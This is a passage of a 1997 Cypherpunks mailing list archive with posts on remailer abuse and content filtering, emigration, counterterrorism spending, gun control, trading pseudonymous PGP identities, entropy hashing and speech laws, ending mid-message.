Jeff Burchell's systems, Mailmasher and Huge Cajones, seemed to bear the
brunt of the wrath and attacks by Gary Burnore and his associates Billy
McClatchie (aka "Wotan") and Belinda Bryan.  Perhaps that's because they
were most often utilized by one or more of his detractors in posting public
criticism about the tactics of himself, his company, and his associates.

> > thing that's not so random is the high percentage of words that are
> > related to DataBasix, such as "DataBasix", "Burnore", and "Wotan".  I'm
> > almost waiting for Gary Burnore to give the remailer and mail2news
> > operators a "helpful" suggestion that they could curb most of this
> > "abuse" by simply blocking any anonymous posts containing any of those
> > three keywords. <g> Or perhaps he's done so and politely been turned
> > down. 
> 
> He's never asked us, at least. Although, when spam-baiting started hot and
> heavy this summer, another Databasix employee did suggest that his address
> should not appear in posts. I made it quite clear we don't check for
> specific names, words, or addresses, and that he was a legitimate topic of
> discussion. Never heard back after that, and this was several months ago.

IMO, that's a good policy.  In fact, the best strategy seems to be to have a
plan in place before starting a remailer so that when attacks and/or demands
come in, the operator will have already decided what responses are appropriate
and what aren't.  To fail to do that is to leave one's system open to
"designer abuse" where a certain kind of fabricated abuse implies a certain
"cure", which is exactly why the abuser did it in the first place.  For
example, if someone comes along and starts spamming newsgroups, seemingly at
random, and the common thread seems to be that each of the spams mentions
Gary Burnore or DataBasix, the "obvious" solution would seem to be block all
posts which include the keywords "Burnore" or "DataBasix".  By doing that, you
stop the abuse -- as well as effectively censoring any anonymous criticism of
Gary Burnore and DataBasix.  It's not hard to figure out the motives behind
such actions.

> > Perhaps the next wave of attacks on remailers will not consist of
> > attempts to shut them down altogether but to progressively cripple them
> > by getting certain features disabled, one by one.  This seems to have
> > already started.  The strategy seems to be to fabricate a form of
> > "abuse", anonymously through remailers, for which the seemingly
> > "logical" solution is to disable a certain feature.  This has already
> > proven successful with header pasting, for example.  Now you can't post
> > to Usenet and set the From: address to that of your own 'nym. 
> 
> If you really want the post to have the From: address of your nym, send
> the post with your nym and not with the remailer as the last hop. The
> point of anonymous remailers is to be anonymous. If you want to use a
> psuedonym, use a nymserver.

If I remember correctly, the documentation for at least one of the nymservers
suggested that posting through a remailer and pasting in the return address
would be quicker and impose less burden on the server than having to process
each outgoing message through the server.

> >  If the "camel" can get his nose under the tent and convince operators
> > to start filtering on the *CONTENT* of the Subject: line or body of
> > usenet posts, the anti-privacy nuts will have scored a major victory. 
> > In fact, from reading Jeff Burchell's posts, it looks like Gary and his
> > DataBasux-ers had initially convinced Jeff to do exactly that.  But, in
> > a symbolic victory for freedom of speech, he removed those filters for a
> > week before he finally shut down Huge Cajones altogether. 
> 
> Cracker does have a spam-bait mangler which is somewhat simpler than the
> scheme Jeff used. In a nutshell, if there are an inordinately large number
> of addresses (compared to other text), the addresses are mangled, i.e.,
> president@whitehouse.gov becomes president <AT> whitehouse <DOT> gov.
> Still human-readable but useless for address harvesters. No posts get
> dropped or filtered out under this scheme, and no keywords or particular
> addresses are looked for.

I'm not sure that even that is a wise precedent to set.  In itself it seems
innocuous enough, but it could always lead to a demand, "Well, you already
mangle e-mail addresses contained in the bodies of posts, so why not also
alter the contents of posts in the following way..."

Also, I hope that your mangler is smart enough to distinguish e-mail addresses
from lists of Usenet message IDs, since a list of such references should be
perfectly valid in the body of a post.  The problem with destroying machine
readability of e-mail addresses is that many newsreaders will turn an e-mail
address into a hot link where one could simply click on it to send e-mail.  If
someone were to anonymously post a message in support of or in opposition to
a certain piece of legislation, and include a list of the e-mail addresses of
the Congress-critters on a certain committee considering that bill, such a
scheme might defeat the purpose of the list.  IMO, anything that makes posting
via a remailer less functional than doing so non-anonymously is ultimately
detrimental to the cause of privacy.

BTW, is there any evidence to indicate that anyone is really harvesting e-mail
addresses from the BODIES of Usenet posts?  Gary Burnore posts his flames quite
widely, so it's quite likely that any bulk e-mailing lists he's on is the
result of his (non-mangled) e-mail address being in the From: line of his own 
posts.

Perhaps the ultimate reality check is whether someone is seeking to impose a
standard on remailers that's stricter than the one imposed on the phone company
or the postal service.  I can drop some coins in a pay phone and call anyone at
any time.  The functionality of a public phone is not restricted merely because
the users are not identified.  Similarly, I can drop a letter in a public mailbox
without anyone verifying my identity.  No return address is required.  Or I can
write in a return address and nobody will check whether it's "genuine" or
"forged".  It would be ludicrous, for example, for someone who had received a
couple of crank phone calls from payphones to demand that the phone company
either totally prevent this abuse from ever happening again or else remove all of 
its pay phones!  And yet those are exactly the demands that anti-privacy zealots 
have made on remailers, and often they've succeeded.

Should one's willingness to broadcast his/her name and e-mail address 
indiscriminately to a WORLDWIDE newsgroup be a prerequisite for one to express
one's views?  Is that not tantamount to saying that one cannot walk down the
street without wearing a badge containing his name, address, and phone number for
all to read?  Or should one's name and e-mail address be considered his property
to be divulged only if and when he chooses?

--
Without censorship, things can get terribly confused in the public mind.

 -- General William Westmoreland   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 22:47:07 +0800
To: cypherpunks@cyberpass.net
Subject: Scared of US; Where to relocate?
Message-ID: <199711121431.PAA10956@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



It has become very clear to me over the past few years that amerika 
is headed for some pretty rough times, and I've decided to leave before
it becomes illegal for me to do so. The only question is, where to?

I've been looking around for about a week, and the only country that's
looked good so far was Anguilla (lower travel costs for FC99!), but it
doesn't meet my requirements for a number of reasons...

Key features I'm looking for are:

1) Stable political environment. I'm making the move, after all, to AVOID
participation in a civil war.

2) Stable economy, with local sources for all the basics (food, water,
energy).

3) Reasonable level of medical technology, and local talent. I want good
care for my wife during childbirth, for instance.

4) A job market for unix sysadmins / networking gurus / hackers would be
nice, but I wouldn't mind learning a new trade either.

5) Right to keep & bear arms + Freedom of speech are musts, other
"bill of rights" type laws strongly desired.

6) Low or no taxes would be nice, but if the first five points are met
even a fairly high (30-40%) tax rate would be endurable.

So... any suggestions?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 22:38:42 +0800
To: cypherpunks@cyberpass.net
Subject: Scared of US; Where to relocate?
Message-ID: <199711121431.PAA11022@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



It has become very clear to me over the past few years that amerika 
is headed for some pretty rough times, and I've decided to leave before
it becomes illegal for me to do so. The only question is, where to?

I've been looking around for about a week, and the only country that's
looked good so far was Anguilla (lower travel costs for FC99!), but it
doesn't meet my requirements for a number of reasons...

Key features I'm looking for are:

1) Stable political environment. I'm making the move, after all, to AVOID
participation in a civil war.

2) Stable economy, with local sources for all the basics (food, water,
energy).

3) Reasonable level of medical technology, and local talent. I want good
care for my wife during childbirth, for instance.

4) A job market for unix sysadmins / networking gurus / hackers would be
nice, but I wouldn't mind learning a new trade either.

5) Right to keep & bear arms + Freedom of speech are musts, other
"bill of rights" type laws strongly desired.

6) Low or no taxes would be nice, but if the first five points are met
even a fairly high (30-40%) tax rate would be endurable.

So... any suggestions?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Sparkes <isparkes@q9f47.dmst02.telekom.de>
Date: Wed, 12 Nov 1997 23:10:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Scared of US; Where to relocate?
In-Reply-To: <199711121431.PAA11022@basement.replay.com>
Message-ID: <3.0.2.32.19971112160109.006af458@q9f47.dmst02.telekom.de>
MIME-Version: 1.0
Content-Type: text/plain



At 15:31 12.11.97 +0100, Anonymous wrote:
>It has become very clear to me over the past few years that amerika 
>is headed for some pretty rough times, and I've decided to leave before
>it becomes illegal for me to do so. The only question is, where to?

I would have suggested Germany, but it seems to fail the meet the critera
on about 84% of the points. =:)

When you find out where you're headed, let me know. I'll see you there.
            \!!/
          ( o  o )  
+------ooO--(_)--Ooo-+---------------------------------------------------+
|  .oooO             | PGP5 Key Fingerprint:                             |  
| (    )    Oooo.    | 1F59 CADC 951E ADAD 5EA5  9544 FCCE 8E30 4988 551E|
|  \   (    (    )   | "Ian.Sparkes@T-Online.de" "Ian.Sparkes@ac.com"    |
|    \__)    )  /    |                                                   |
|           (__/     | Life empiricist and confused ethical hedonist     |
+--------------------+---------------------------------------------------+
| I'm not your lawer, you're not my client. This is therefore not advice |
+------------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 12 Nov 1997 15:29:16 +0800
To: cypherpunks@toad.com
Subject: Re: Y2K: Canada status?
In-Reply-To: <199711120419.FAA11926@basement.replay.com>
Message-ID: <Pine.LNX.3.93.971112164903.211A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 12 Nov 1997, Anonymous wrote:

[...]

> Now might be a great time to invest in companies who resisted the
> move to computerization, and who still have bookeepers and the
> like on staff.

I think it is more the time to invest in companies who still have
bookmakers and the like on staff.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Veeneman <cypherp@decode.com>
Date: Thu, 13 Nov 1997 09:51:51 +0800
To: cypherpunks@ssz.com
Subject: SWAT: A Growth Industry
Message-ID: <wPi1Fe1w165w@decode.com>
MIME-Version: 1.0
Content-Type: text/plain



US News & World Report 11/17/97
Everyone gets into the terrorism game

Too many SWAT teams spells confusion
BY DAVID E. KAPLAN

In 1995, Bill Clinton signed a presidential directive stating that the
nation has "no higher priority" than stopping terrorists who have
weapons of mass destruction.  Congress responded with new laws and
allocated more than a billion dollars in support.  The result has been
an extraordinary proliferation of counterterrorism programs, making this
one of the few areas of rapid growth in the federal budget.  But in the
rush to respond, say critics, government agencies have failed to
coordinate their efforts, and no one is even tracking how much taxpayer
money is being spent.

According to a September report by the General Accounting Office, more
than 40 federal agencies have roles in combating terrorism.  All of them
appear eager to gobble up the new funding.  Among the big winners is the
Pentagon, which is getting $52 million to train local officials to cope
with chemical, nuclear, and biological attacks.  Other agencies have set
up units inspired by NEST, the U.S. Department of Energy's Nuclear
Emergency Search Team, begun in the 1970s to thwart nuclear
extortionists.  The FBI has added DEST, its new Domestic Emergency
Support Team, and the State Department now runs FEST, the Foreign
Emergency Support Team.  The Public Health Service is busily planning
MMSTs, or Metropolitan Medical Strike Teams, for 100 cities.  And on
Energy Department drawing boards are plans for BEST, a Biological
Emergency Search Team, and CEST, its chemical counterpart.  (Critics
contend that the Energy Department lacks both expertise and a mandate to
deal with biological and chemical weapons, but that has not stopped it
from seeking funds.) And if an emergency is big enough, one can always
call in the Marines, who have formed their own $10 million Chemical
Biological Incident Response Force.

Among the biggest beneficiaries is the FBI, which has seen its
counterterrorism budget nearly triple to $243 million since 1994.
Bureau officials vow to "double the shoe leather" of agents working on
chemical and biological terrorism and are outfitting their elite Hostage
Rescue Team with $3.3 million worth of gas masks and protection suits.
The bureau also wants to build a multimillion-dollar Level 3 biolab, a
tightly sealed facility that would permit work with many of the world's
deadliest pathogens.  Some experts note that the Army and the Centers
for Disease Control and Prevention already have more than a dozen Level
3 labs; the bureau says it can best conduct forensic investigations in
its own facility.

The private sector is cashing in as well.  Contractors are arranging
much of the Pentagon's $52 million local training program, while
millions more are available for research and development.  "It's the
latest gravy train for consultants," says Larry Johnson, a terrorism
consultant.

Even the toughest critics acknowledge that many of the new programs are
needed.  For example, they agree that the training of local emergency
workers to deal with a chemical or biological attack is long overdue.
The problem, they say, is that the various programs have grown so
quickly that coordination and oversight have yet to catch up.  A
classified study this year for the CIA and Energy Department calls for a
national response program to deal with terrorism and weapons of mass
destruction, directed by the White House.  "The system is not well
organized at all," says former CIA head James Woolsey, one of the study
group's co-chairs.

One sign of the lack of oversight can be seen at the Office of
Management and Budget, the White House agency charged with managing the
federal budget.  An OMB guide lists over 600 areas of specialization by
the agency's staff, including entries for Micronesia and marine mammals.
Yet nowhere is there an analyst tracking the budget for
counterterrorism, a national security priority.  "It's not something we
have a hard number for," says an OMB analyst.

The rapid expansion of programs--likely to cost billions of dollars
overall--has left some observers dismayed.  "It was not our intent to
create this thing," says John Sopko, who as deputy chief counsel to Sen.
Sam Nunn played a key role in drafting legislation to respond to the new
terrorism.  "We did not want a massive entitlement program for
counterterrorism."


--
cypherp@decode.com (Dan Veeneman)
Cryptography, Security, Privacy BBS  +1 410 730 6734   Data/FAX





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 13 Nov 1997 09:47:21 +0800
To: CYPHERPUNKS@ssz.com
Subject: RE: Bell vs. Woodward--ju
Message-ID: <199711111646.KAA24552@zoom.bga.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:tcmay@got.net to Harka <=-

 In> As for Australia, your countrymen acted like sheep in giving
 In> up their guns. If they try that kind of shit here in this
 In> country, a *lot* of cops are going to get killed.

Hmm, I somewhat doubt that. After all, restricting guns more and
more has also been happening in the US for quite a while now and
overall resistance has been rather minimal.

While there may be a few, who'd actually take up guns "in the
defense of liberty" the gross majority of Americans seems just as
"sheepish" as people anywhere else. Too many hours of watching (the
good) "Cops" has left an imprint in many minds...

Granted, America does have a constitution establishing civil rights
for it's citizens, but America is also the country (among others)
of "But I have nothing to hide" and "If it just saves one child"...

 In> (Not necessarily by me, though I'll defend my property and my
 In> constitutional rights as best I can. But the militia and
 In> patriot and anti-New World Order movements are preparing for
 In> war.)

"Defending my property" is probably one of the more clear
situations, where it is fairly easy to make a judgement call, and I
support having the choice over necessary actions to take, if your
property gets forcefully invaded by whomever and your personal
freedom is being threatened.

But on a more general basis things tend to become more complicated,
IMHO. What if it's somebody else's liberty being taken? How many
people would then take up arms (see Waco, Ruby Ridge, Roby/Ill.
etc.)? It is much harder then to decide, if it's time for action or
not.

Especially because of pre-filtered information, that make it hard
to base such a decision on "available" facts. When Reuters reported
about the Shirley Allen Siege, in the first line they mentioned her
to be "mentally disturbed" (implying for many, that the
police-action was justified and correct in order "to save her").

People not immediately within the vicinity will have a hard time to
decide, if the media-information is correct and subsequently, if
"the war has now begun".
(In Shirley Allens case, her fellow neighbors _did_ protest the
police-action because they _knew better_, but people further away
had other information and thus no incentive to defend her in any
way.)

The same happened in Waco, Ruby Ridge etc.etc., even with Jim Bell
to a degree. Thus the .gov is able to pick us off one by one and I
doubt, that a lot of "cops are going to get killed" because of it.


It'd be rather interesting to devise a "Cypherpunks-911" system,
that immediately provides others all over the country/world with
necessary information, if something happens, and more importantly,
_what_ happens (before the media faithfully recites the
police-stories of "what happened")

Ciao

Harka

/*************************************************************/
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

... "Use a Cipher - Be Free!"

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If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 13 Nov 1997 08:55:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Selling a Persistent Identity
Message-ID: <199711130046.SAA02372@dfw-ix6.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Amad3us wrote:
>Try this Monty:
>
>The new owner of the Monty persona is defined to be the first public
>key which is signed by Monty's private key and posted to this forum.
>
>So the buyer sends Monty a public key, and Monty signs it and posts
>it to the list.  (Optionally via a trusted third party to ensure fair
>play.  There is a race condition in the making there but it's not too
>bad, we could fix it if we were bothered.)
>
>So Monty can cheat and post one he signed earlier selling to a
>different key, but we will ignore those because we base it on first
>posted.
>
>Buyers will no longer be interested in buying Monty's persona after
>they have seen it sold, because they know it is no longer his.
>
>The person who buys Monty's persona could resell it.  Using the same
>protocol.

This arrangement has analogs in the real world.  When a doctor sells
his practice, the patients are all notified.  But, I think there are
some True Name issues.  The doctor tends to assure the patients that
he has carefully selected the new doctor.  People know the doctor and
as a consequence tend to believe him.

This isn't really true of an anonymous persistent identity.  Let's say
it was doing a significant amount of business.  If you knew that its
ownership had changed, you might hesitate before doing a deal which
had a lot of fraud exposure.

On the other hand, the purchaser of the identity has an investment
which he may not want to endanger.  If the identity cost $1 million
and the outstanding deals only amounted to $100,000, fraud would be a
bad deal for the owner.

One reason why trading anonymous identities is a good idea is that it
baffles pursuit.  Every time you use one, information is revealed.
Even if you are doing things like transmitting 100K to the remailers
every hour, from time to time your net connection will go down, or
whatever, and increase the odds that The Enemy will have a more
accurate picture of your True Name.  (This works best if the
transaction is handled privately.)

But, if the persistent identity starts operating from someplace else,
it makes those attacks quite a bit more difficult, especially if there
is no public announcement regarding the change of ownership.

The transaction makes sense even if two identities of equal value are
traded.

(BTW, "Monty Cantsin" a.k.a. 0x5857856C436435C2D70FE503CA4E4190F766AD3
D16F9CFAA94105426C7DA7A1AEC488C0455AB4421C19B7D38F48DB7742112866EBB884
7570F61B072AFE5056A0339C4776128BB718C8C384D455031EDAAE94B07DE6C6211C83
FC06A844F1CF82240EC589C5C58DE2F699470A12802CCF14BEF0F45423E37879671DC4
E820A4416FDB6B6F2C5D5F694E5622F440ED1AF94A550A9D111749147945BA8D01AFB2
FE3EE908D9C54C639449ADF12CAF56D6CF29F414B23D8E74E9CFAE80D778F479E06326
075DDC599F8F50C8FC1685F9C98B702787C832DA6E7F63EB19658B1448BB5A97E3C564
4E5B75A66DD63977EE4B18EDF6D266AAD62349696B634A6447FF9 is not for sale.
After using one persistent identity for awhile, you become emotionally
attached to it!)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 13 Nov 1997 08:58:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <199711130046.SAA02417@dfw-ix6.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote:
>I mean, Tim, I have to admit I'm just as nervous as the next guy
>about being next to soft targets these days, but I almost find myself
>agreeing with other people, people you would respect otherwise, who
>are saying that you're making yourself the greatest friend that Reno
>and Freeh ever had. A vertiable poster boy for statism if there ever
>was one. And so on.

As Michel Foucault used to say, "The only guarantee of freedom is
freedom itself."  Put another way, "rights which are not exercised are
lost."  We don't see Freeh and Reno backing off so they don't become
poster children for cryptoanarchy, do we?

Just because free speech is a right guaranteed under the Constitution
does not mean that is necessarily a safe right to exercise.  Let us
hope that Tim does not come to harm.  But, let us also give him the
credit he deserves for having the courage to speak his mind.

I've been reading about a newspaper called the "Aurora" which operated
in the 1790s from Philadelphia.  It made itself very unpopular with
Washington by claiming he was not the "Father of the Country".  It
made itself doubly unpopular with Adams for other less than
respectful, but astute, observations.

People said exactly the same things that Hettinga is saying here.  If
they would only behave (i.e., go along with anything), then they
wouldn't have to be censored.

Even though the editors were attacked and beaten, imprisoned, and
charged with Federal crimes, they persevered.  It would not be
unreasonable to say that Jefferson owed his Presidency to their
efforts.  Indeed, it would not be too much to say that the
Constitution (which failed to protect them) might not have survived
without their efforts.

A few courageous people doing the right thing at the right time make a
big difference.  This does not happen by kowtowing to whichever
malfeasant tyrant happens to be in power.  When you are asked to wear
a yellow star, you can be pretty sure that doing so will not save you.

Also, let us not pretend that Tim's gun collection is much protection.
It may delay capture or raise the price of execution of a no-knock
warrant, but if the Powers That Be don't want Tim around, then he's
gone.  It could be a "lone nut" with a sniper rifle, it could be a
"heart attack", it could be a rock star's plane "accidently" hitting
the house: there are many ways to take care of troublemakers.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 13 Nov 1997 08:57:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: FREE PSYCHOANLYSIS NIGHT ON THE CYPHERPUNKS LIST!!!
Message-ID: <199711130047.SAA02591@dfw-ix6.ix.netcom.com>
MIME-Version: 1.0
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-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>There seems to be an unhealthy desire by some to "armchair
>psychoanalyze" the motivations and inner motivations of others. In
>recent days, me. (And in the past, too. This recent episode of
>moaning about "What makes Tim say the things he does? is not
>new...we've seen this script before.)

It's not too hard to figure out what is going on here.  I don't think
there is much question that Tim is the backbone of the list.  The
collective output of his critics has yet to reach even 10% of his
contribution.

Of course, writing interesting articles is hard work.  It's easier to
rain on the parade.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 13 Nov 1997 08:57:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Secure Hashing for Entropy
Message-ID: <199711130047.SAA02607@dfw-ix6.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Jon Leonard wrote:
>Monty Cantsin wrote:
>> Often we have a source of entropy whose output we use as the input to
>> a secure hash function.
>> 
>> Does it matter if the hashing function is secure?  I don't think so.
>> All that really matters is that the function hashes evenly so that any
>> input string is about as likely as any other input string to result in
>> a particular hash.  Even if the hash function is weak and collisions
>> can be found, if it is even the same level of entropy is still
>> available.
>> 
>> Have I got this right?
>
>In the case where:
>1) Your entropy source is as good as you think it is
>2) Your opponent knows nothing about the data from your entropy source
>and
>3) Your entropy mixes the way you expect it to.
>
>this is indeed the case.
>
>If you're not completely sure about the above, using a cryptographic
>hash requires your hypothetical opponent to be able to reverse the hash
>to exploit what they know, rather than simpler computations.
>
>Since it seems that paranoia pays off in the design of cryptographic
>software, I'd recommend always using a strong hash.

Let's say you are using the entropy to create a session key for a
symmetric cipher.  If The Enemy can guess the session key, you have
already lost the game.  It doesn't matter if the original
entropy-containing string can be guessed because the hash was weak.

If your entropy source is weak and the original string can be guessed,
then you've lost the game even if the hash function is strong.  The
Enemy knows how to compute hashes as well as you do.

But, I think I now see a way a secure hash can sort of help you.

Let's say you have an entropy source which gives you a base 3 number
of arbitrary length.  There is no even way to map base 3 numbers into
base 2 numbers.  Use of a hash function obscures the mapping.

For example, we want a random 8 bit number.  We can get this by
generating a 6 digit base 3 number, P, and computing P mod 2^8.

This has the unappealing property that it overlaps unevenly.

3^6 = 729 = 2 * 256 + 217.

There is an 89.3% chance that the resulting number will be between 0
and 216, inclusive.  The probability should be 84.7%.  This gives The
Enemy an edge if there are a number of messages to be broken.  The
cost to guarantee a break on a particular message is still the same.

The use of a secure hash means that we can hope that the nature of the
overlap cannot be determined.

The downside is that there are no secure hash functions whose
properties are completely understood.  All we know for sure is that
not much is really known to the public.

So, the secure hash function in your crypto system could be reducing
your effective entropy substantially if your entropic strings just
happen to hash down to a smaller subset of possible hashes than
expected.  The use of the secure hash function may obscure what is
happening from The Enemy.  All we know for sure is that it obscures it
from ourselves.

Ideally, we want to match our sources of entropy with the base of the
random number desired and eliminate the question.

In the field, the most widely available and reliable entropy generator
is a six sided die.  If we are using a cipher which takes a base 2
key, this is inconvenient.  You can only get one really good bit out
of each throw.

How hard would to be to construct a secure symmetric cipher which
accepted a base 6 key?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 13 Nov 1997 11:27:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Minor Language Note
Message-ID: <199711130307.VAA17065@dfw-ix5.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>>> While it was not Tim's intention to make Jim look like a criminal,
>>> the use of a defendent's full name is often used to connote
>>> criminality.
>>>
>>> Lee Harvey Oswald, John Wilkes Booth, John Wayne Gacy, Richard
>>> Milhous Nixon, William Jefferson Clinton... there are many
>>> examples.
>
>George Washington Carver, James Fennimore Cooper, Richard Dean
>Anderson, Clare Booth Luce, Robert Anton Wilson, Francis Scott Key,.....

We don't usually think of these people as defendants.

>(Sometimes people have three names, sometimes two names, popularly
>used.  Criminality has little to do with it. For example, Richard
>Speck, Charles Manson, John Walker, Aldrich Ames, Ted Kaczynski,
>Timothy McVeigh, Terry Nichols.  Most of them presumably have middle
>names.)

I did not say that the use of middle names was required for
defendants.

>Oh, and as to divining what Tim's "intention" was, this mindreading
>and psychoanalysis shtick is getting old.

My opening sentence was intended to be friendly.  It was supposed make
clear that it was not suggested that you thought Jim Bell was a
criminal.  Certainly that was obvious, but a little redundancy never
hurts.  It looks like the meaning didn't convey properly, so I'm sorry
if I seemed to be psychoanalyzing you.

It's generally considered courteous to call people by the name they
wish to be called.  Jim Bell seems to go by the name "Jim Bell".
(This would not hold if somebody makes an inappropriate request such
as asking to be addressed as "James Dalton Bell, Defender of the
Faith, God of Vengeance, and Lord of the Universe.")

Back to the original point, I believe that it's hard to find instances
in which two-named people are involuntarily converted to three-named
people when they are not charged with a crime.  Lee Oswald became "Lee
Harvey Oswald" after the Kennedy Assassination, for example.

I've also noticed that Wardens have a marked tendency to refer to
inmates on death row by their first name, even when speaking publicly.
As in, "Don's death was very upsetting as it was obviously very
painful."  (Paraphrased from a real example.)

I believe the wardens are expressing a few things with this name
choice.  One is that they have complete power over the inmate.
Teachers call children by their first names, and it seems to me that
there is an element of that here.  (Admittedly, this is a troubling
image.)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 13 Nov 1997 21:19:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <199711131314.HAA05512@dfw-ix5.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Blanc wrote:
>By jove, I think I've "got" it - there *is* something deeper going on
>here:
>
>Tim is really an undercover 'narc' - through his provocative remarks
>he's actually encouraging all the violent terrorists on the list to
>come out of their lurking holes and reveal themselves.  Then he's
>going to turn them all in for a cash reward, which he'll use to buy
>more high-tech stock.
>
>Yeah, that's it!

While Blanc is only joking, I want to take this opportunity to comment
on the Find The Mole game.

Moles look just like everyone else.  Speculation on who is actually a
provocateur or an informant or a saboteur or whatever only has the
purpose of creating unhappiness and undermining anything worthwhile
that is going on.

It is likely that there are informants lurking amongst the
cypherpunks.  The secret police watch and infiltrate far less
interesting groups, and this one has received more than its share of
publicity.  (In a couple of decades we'll probably learn who they
were.  Hopefully things will work out in such a way that this will be
worth a good laugh.)

The right thing to do is to assume there are a certain number of moles
around and engineer your activities accordingly.  If you really think
you can Find The Mole, then I would think your first step is to keep
quiet about what you are doing.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 13 Nov 1997 21:20:30 +0800
To: cypherpunks@cyberpass.net
Subject: Laws Controlling Speech
Message-ID: <199711131315.HAA05632@dfw-ix5.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




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Tim May wrote:
>What I said was that the judge(s) in the Paladin case had committed a
>capital crime. Saying, for example, that OJ committed a capital crime
>is not uncommon, so why should judges be exempt from similar
>opinions?

Laws prohibiting speech are notoriously difficult to define and to
enforce impartially.  They quickly evolve into a blank check for the
authorities.  (Note that even if these laws didn't have this property,
Monty Cantsin would oppose them.)

OJ is fair game because the authorities would like to see him in
prison.  The judge is not fair game because he is a judge and this is
a list with a bad attitude.

The wonderful thing about language is that it is infinitely malleable.

You could write a play in which a prominent character was a bear.
Sounds harmless, right?  In 1969 in Czechoslovakia, this is how people
wrote unfriendly plays about the Russians.

Child porn is notoriously difficult to define.  A few years ago there
was a case in which a convicted child pornographer or molester (my
memory fails) was paroled.(1.) One of the conditions was that he was
not to have any child pornography.  Later, he was found with a
videotape of children in bathing suits and his parole was revoked.
The children were not involved with any sexual acts, however, the
judge decided that the motion of the camera was overly suggestive.

A few years ago I saw an ad for soap in which cute little girls were
cast in the roles that lovely adult women usually play.  To most
people, this was an amusing and even charming advertisement.  But,
were similar footage found in the hands of a child molester there
would be serious legal consequences.

Pornography in general is not so hard to define.  If the material in
question is enjoyed by working class people and is inexpensive to
purchase, then it is pornography.  If the material is enjoyed by
wealthy or "cultured" people, hangs in a museum, and would be
expensive to purchase, then for the most part it is Art and not
pornography.

Let's take Michelangelo.  Here is an artist who seldom portrays women.
(I know of no instance, actually.)  When the image of a woman was
unavoidable to the work, he used male models anyway.  (The Sibyls in
the Sistine Chapel are a good example.)  It is quite obvious that a
large proportion of his work is, in fact, homoerotic in nature.  Yet,
it has been promoted for centuries because it was primarily enjoyed by
